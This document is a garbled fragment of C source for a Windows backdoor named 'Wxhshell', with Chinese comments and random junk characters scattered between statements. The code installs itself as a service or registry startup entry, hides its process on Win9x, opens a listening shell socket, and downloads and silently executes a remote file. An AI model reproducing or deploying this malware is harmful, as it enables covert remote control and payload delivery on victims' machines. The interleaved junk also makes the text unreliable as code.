\{( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Na4\)({ if(hProcess==NULL) return 0; [ACa<U/ dI`b AP;\ HMODULE hMod; #<{sP0v* char procName[255]; )Ipa5i>t unsigned long cbNeeded; G=DRz F SJ<nAX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =oBV.BST u OmsNo0OA CloseHandle(hProcess); 7v{Dwg *t63c.S if(strstr(procName,"services")) return 1; // 以服务启动 ]`LMyt0 d;K,2 return 0; // 注册表启动 %k9GoX_ } {<V{0
s% n;[d{bU // 主模块 XOU
9r( int StartWxhshell(LPSTR lpCmdLine) lwSA!W { {q:6;yzxl SOCKET wsl; wtK+\Qnb BOOL val=TRUE; ->d3FR int port=0; }}<^fM struct sockaddr_in door; Dc
U$sf* *~cq
(PFQ if(wscfg.ws_autoins) Install(); q>t#5Z81 #>}cuC@ port=atoi(lpCmdLine); Yf1?3(0O RK< uAiU if(port<=0) port=wscfg.ws_port; {;q
zz9 | F8nR.| WSADATA data; ^tI
,eZ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /C}u,dBf voiWf?X if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f<<1.4)oSV setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Cx2$<8 door.sin_family = AF_INET; zt6GJz1q door.sin_addr.s_addr = inet_addr("127.0.0.1"); =A{F&:+a] door.sin_port = htons(port); ',P$m&z ]De<'x} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PKJ w%.- closesocket(wsl); \(C6|-:GY return 1; G0)}?5L1J } ~7ZWtg;B n&1q* if(listen(wsl,2) == INVALID_SOCKET) { DZ"'GQSg closesocket(wsl); shKTj5s? return 1; {OIB/ } Zjd9@ Wxhshell(wsl); 4
Fl>XM WSACleanup(); [>![ViX ^,}1^?* return 0; $t0o*i{ e>0gE`8A } VkFMr8@| {^8?fJ/L // 以NT服务方式启动 /*P) C'_M VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %tB7 &%ut { ]n}aePl}oU DWORD status = 0; #zRHYZc'T| DWORD specificError = 0xfffffff; 9:R3+,ZN f*}}Az.4 serviceStatus.dwServiceType = SERVICE_WIN32; /g$G
G9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; BMug7xl" serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GXG 7P,p, serviceStatus.dwWin32ExitCode = 0; 1J([*) serviceStatus.dwServiceSpecificExitCode = 0; #lR-?Uh serviceStatus.dwCheckPoint = 0; ,.Lwtp,n serviceStatus.dwWaitHint = 0; ~[%_]/#&%z `*6|2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <2N{oK. if (hServiceStatusHandle==0) return; A3)"+`&PUl ":0u%E?s status = GetLastError(); ^hXm=r4ozR if (status!=NO_ERROR) OClG dFJ| { .' }jd# serviceStatus.dwCurrentState = SERVICE_STOPPED; {0~\ T[qm serviceStatus.dwCheckPoint = 0; T*:w1*: serviceStatus.dwWaitHint = 0; `Fie'[F5,) serviceStatus.dwWin32ExitCode = status; +5S>"KAUt0 serviceStatus.dwServiceSpecificExitCode = specificError; G9NI`]k SetServiceStatus(hServiceStatusHandle, &serviceStatus); -0UR%R7q return; 793 15A } LaO8)lqR ![;={d0 serviceStatus.dwCurrentState = SERVICE_RUNNING; ^D<CoxG serviceStatus.dwCheckPoint = 0; r4pX47H serviceStatus.dwWaitHint = 0; Qo)Da}uo20 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v^ "qr?3V } <o/!M6^: TG[u3Y4 // 处理NT服务事件,比如:启动、停止 <pfl>Uf VOID WINAPI NTServiceHandler(DWORD fdwControl) - w*fS,O { O 2-n- switch(fdwControl) vhPlH0 { [3"F$?e5 case SERVICE_CONTROL_STOP: d\uN serviceStatus.dwWin32ExitCode = 0; E447'aJ serviceStatus.dwCurrentState = SERVICE_STOPPED; +}O -WX? serviceStatus.dwCheckPoint = 0; 'y\Je7 serviceStatus.dwWaitHint = 0; <4+P37^~ { ffG<hclk SetServiceStatus(hServiceStatusHandle, &serviceStatus); a M9v } tPQ|znB| return; XHekz6_ case SERVICE_CONTROL_PAUSE: kN.;;HFq# serviceStatus.dwCurrentState = SERVICE_PAUSED; *#'j0;2F break; g!R7CRt% case SERVICE_CONTROL_CONTINUE: .6P.r} serviceStatus.dwCurrentState = SERVICE_RUNNING; h*%FZ}}`q break; M2Jf-2 case SERVICE_CONTROL_INTERROGATE: n9xP8<w8
break; =nHKTB> }; [02rs@c> SetServiceStatus(hServiceStatusHandle, &serviceStatus); #h?IoB7 } tsAV46S `wXK&R<` // 标准应用程序主函数 HwHF8#D*l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uR ?W|a { (iX8YP$ % .Q%Hi7JMi // 获取操作系统版本 x=t(#R m OsIsNt=GetOsVer(); ^K;k4oK GetModuleFileName(NULL,ExeFile,MAX_PATH); ^FKiVKI: H:@hCO[a // 从命令行安装 A#.
%7S if(strpbrk(lpCmdLine,"iI")) Install(); ^1najUpQ_n D`T;j[SsS# // 下载执行文件 $AZYY\1 if(wscfg.ws_downexe) { -g@!\{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <{isWEW9]3 WinExec(wscfg.ws_filenam,SW_HIDE); !?nbB2, } BM<q;;pO ]xQv\u if(!OsIsNt) { uZC=]Ieh // 如果时win9x,隐藏进程并且设置为注册表启动 j(=w4Sd_W HideProc(); ~Q&J\'GQH StartWxhshell(lpCmdLine); KLyRb0V } A`n>9|R else Ca|egQv if(StartFromService()) 8M99cx*K // 以服务方式启动 _~z
oMdT! StartServiceCtrlDispatcher(DispatchTable); GGp.u@\r else vN Bg&m // 普通方式启动 (9Zvr4.f7 StartWxhshell(lpCmdLine); Vh^y6U< <E2 IU~e return 0; aUaeK(x:H }
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